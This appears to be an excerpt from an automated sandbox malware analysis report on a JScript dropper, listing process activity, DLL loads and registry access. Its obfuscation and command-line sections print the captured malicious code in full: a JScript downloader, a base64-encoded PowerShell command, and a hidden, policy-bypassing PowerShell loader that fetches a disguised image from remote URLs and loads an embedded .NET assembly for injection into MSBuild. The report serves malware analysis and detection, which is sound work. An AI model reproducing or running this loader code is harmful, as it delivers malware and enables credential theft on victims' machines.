                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: ieframe.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: netapi32.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: wkscli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: mlang.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: winsqlite3.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: vaultcli.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                  Source: C:\Windows\SysWOW64\choice.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                  Source: Binary string: choice.pdbGCTL source: MSBuild.exe, 00000008.00000002.1981143457.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmp
                  Source: Binary string: wntdll.pdbUGP source: MSBuild.exe, 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000B.00000003.1977393462.0000000004BB9000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000B.00000003.1975102220.0000000004A05000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, choice.exe, choice.exe, 0000000B.00000003.1977393462.0000000004BB9000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000B.00000003.1975102220.0000000004A05000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: choice.pdb source: MSBuild.exe, 00000008.00000002.1981143457.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp

                  Data Obfuscation

                  barindex
                  JScript performs obfuscated calls to suspicious functions
                  Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: wscript.exe C:\Windows\Temp\???7????6????2????7.js", "0", "true");IServerXMLHTTPRequest2.open("GET", "https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_", "false");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.status();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Windows\Temp\???7????6????2????7.js", "2");_Stream.Close();IWshShell3.Run("wscript.exe C:\Windows\Temp\???7????6????2????7.js", "0", "true");IFileSystem3.FileExists("C:\Windows\Temp\???7????6????2????7.js");IFileSystem3.DeleteFile("C:\Windows\Temp\???7????6????2????7.js")
                  Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: WScript.Shell");IWshShell3.Run("powershell -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAU", "0", "true")
                  Found suspicious powershell code related to unpacking or dynamic code loading
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAaQBsAGwAbwBjAGsAZQBkACkAOwAkAHMAdAByAHUAdAB0AGUAZAAgAD0AIABbAFMAeQB
                  Suspicious powershell command line found
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABsAGUAZQBjAGgAbABpAGsAZQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAeQByAG8AbQBhAG4AaQBhAGMAYQBsACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHMAaABhAHAAZQByAHMAIAA9ACAAJABwAHkAcgBvAG0AYQBuAGkAYQBjAGEAbAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E9021 push ebx; retf 0_2_007E9022
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E0CDC push ebx; retf 0_2_007E0CDD
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E1CD3 pushad ; iretd 0_2_007E1CDA
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E1D64 push edx; retf 0_2_007E1D69
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E21F8 push 49D01C01h; retf 0_2_007E225E
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007F15A4 pushad ; iretd 0_2_007F15A5
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E019B push cs; iretd 0_2_007E019D
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007F1589 pushad ; iretd 0_2_007F1591
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007F0E62 push eax; ret 0_2_007F0E64
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_007E27B6 push D15B7034h; iretd 0_2_007E27BB
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_000002059409D9B6 push D15B7034h; iretd 0_2_000002059409D9BB
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940A5E18 push 00000046h; iretd 0_2_00000205940A5E14
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_000002059409BEDC push ebx; retf 0_2_000002059409BEDD
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940AC789 pushad ; iretd 0_2_00000205940AC791
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940AC7A4 pushad ; iretd 0_2_00000205940AC7A5
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_000002059409B39B push cs; iretd 0_2_000002059409B39D
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_000002059409D3F8 push 49D01C01h; retf 0_2_000002059409D45E
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_00000205940AC062 push eax; ret 0_2_00000205940AC064
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_00401833 push ebp; iretd 8_2_00401834
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0040508F push ecx; iretd 8_2_00405093
